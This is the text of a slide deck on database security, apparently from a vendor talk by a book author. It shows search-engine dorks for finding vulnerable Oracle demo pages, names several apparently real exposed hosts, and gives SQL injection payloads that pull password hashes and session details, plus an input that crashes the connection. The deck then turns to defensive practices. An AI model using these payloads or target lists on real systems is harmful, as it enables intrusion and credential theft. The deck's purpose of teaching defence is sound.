Securing Business by Securing Database Applications

Anatomy of a Database Attack: How to protect the corporate assets

*Presented by: Aaron Ingram,*
*Author, “Practical Oracle Security”*
Database Vulnerability Exploitation

A decade ago, attacks were
- Broad based
- Launched by disaffected “Hackers”
- Intended to disrupt, gain respect / notoriety in the community

Now, attacks are
- Targeted against specific resources
- Launched by sophisticated professionals
- Intended to bring monetary gain to the attacker

Data is a valuable resource in your company
- Value increases with greater integration and aggregation
- But so does the threat of data theft, modification, or destruction
Typical Enterprise Application

WEB FRONT-END

APPLICATION SERVER

DATABASE SERVER

First name
Last name
Address 1
Address 2
Username
Password

Middleware/Application Server

Database
Databases Are Under Attack

Over 244 million records stolen in the U.S. since Jan 2005

http://www.privacyrights.org/ar/ChronDataBreaches.htm
How are search engines used for attacks?

- **First thing an attacker needs is information**
  - Where to attack
  - What a site is vulnerable to

- **Search engine is a large repository of information**
  - Every web page in your application
  - Every domain on the Internet

- **Search engines provide an attacker:**
  - Ability to search for attack points on the Internet
  - Ability to search for an attack point in a specific website
  - Ability to look for specific URLs or files

Example – SQL Injection in demo applications

- **Oracle HTTP Servers**
  - Provided default web applications
  - /demo/sql/jdbc/JDBCQuery.jsp
  - /demo/sql/tag/sample2.jsp

- **Contains SQL Injection**
  - Google search value of “allinurl:JDBCQuery.jsp”
Vulnerable Oracle HTTP Servers

1. http://coreapps2.evosource.net/demo/xml/xmlquery/XMLQuery.jsp
   Please enter a suitable JDBC connection string, before you try the above demo
   coreapps2.evosource.net/demo/xml/xmlquery/XMLQuery.jsp - 608 - Cached - More from this site

   Please enter a suitable JDBC connection string, before you try the above demo. To use the thin driver insert your host, port and database id.
   infotrek.er.usgs.gov/demo/sql/sqlj/SQJIterator.sqljsp - 672 - Cached - More from this site

3. http://ias.itec.suny.edu/demo/sql/tag/sample5.jsp
   Please enter a suitable JDBC connection string, before you try the above demo
   ias.itec.suny.edu/demo/sql/tag/sample5.jsp - 303 - Cached - More from this site

4. OracleJSP
   ... Please enter a suitable JDBC connection string, before you try the above demo ...
   msdemo.msolutions.com/ojspdemos/sql/index.jsp - 4k - Cached - More from this site

5. XML and XSL Tag Support
   ... <font size=+0><B>Please enter a suitable JDBC connection string, before you try the above demo</B></font> ... 
   deakin.edu.au/div_its/isg/dba/docs/9iasrel2/web.902/a95883/xmlxsl.htm - 43k - Cached - More from this site
Oracle Example

Form Posting

Name: X' UNION SELECT password FROM dba_users WHERE username='SYSTEM

Submit
Customer address: EED9B65CCECDB2E9

http://www.pentest.co.uk/sql/check_users.sql
Enter a search condition:

'1=2' UNION SELECT sys.database_name, -500 FROM dual

sys.database_name
Search results for: '1'='2' UNION SELECT sys.database_name, -500 FROM dual

- TEST.US.ORACLE.COM earns $ -500.

Enter a search condition:
sys.login_user
Search results for: '1'='2' UNION SELECT sys.login_user, -500 FROM dual

- SCOTT earns $-500.

Enter a search condition:
Enter a search condition:

```sql
'1'='2' UNION SELECT NUMTOYMINTERVAL(1,'AAAAAAAAAABBBBBE')
```

Ask Oracle
JSP Error

Exception:

java.sql.SQLException: No more data to read from socket
    at oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:134)
    at oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:179)
    at oracle.jdbc.dbaccess.DBError.check_error(DBError.java:1160)
    at oracle.jdbc.ttc7.MAREngine.unmarshalUB1(MAREngine.java:963)
    at oracle.jdbc.ttc7.MAREngine.unmarshalSB1(MAREngine.java:693)
    at oracle.jdbc.ttc7.Oclose.receive(Oclose.java:101)
    at oracle.jdbc.ttc7.TTC7Protocol.close(TTC7Protocol.java:663)
    at oracle.jdbc.driver.OracleStatement.close(OracleStatement.java:644)
    at _demo._sql._jdbc._JDBCQuery.runQuery(_JDBCQuery.java:54)
    at _demo._sql._jdbc._JDBCQuery.jspService(_JDBCQuery.java:147)
    at oracle.jsp.runtime.HttpJsp.service(HttpJsp.java)
Database Security Best Practices

The Vulnerability Management Lifecycle

Apply the vulnerability management lifecycle...

- Establish “as is” position
- Identify vulnerabilities
- Develop ideal baseline

- Baseline compliance
- Vulnerabilities
- Threat environment

- Determine risk and prioritize based on vulnerability data, threat data, asset classification
- High-priority vulnerabilities
- Establish controls and eliminate root causes
Database Security Best Practices

Monitor Controls & Flag Violations
- Who did it?
- What did they do?
- When did they do it?

Establish Controls & Track Progress
- Document systems
- Establish controls
- Demonstrate continuous improvement
Proactive Hardening  
Complete Database Vulnerability Assessment

- Database Discovery
- Penetration Testing
- Security Audit
- Reporting
- Remediation: Fix Scripts
- Keep current: ASAP updates protect against latest threats
Activity Monitoring
Security Alerts + Focused, Granular Monitoring

Who, What and When

- **Activity Monitoring & Alerting**
  - All User Activity and System Changes
  - Complex Attacks and Threats
  - Misuse and Malicious Behavior
- **Configurable Detection**
  - User Defined Alert Rules
  - User Defined Threat Signatures
- **Regularly Updated**
  - ASAP Updates™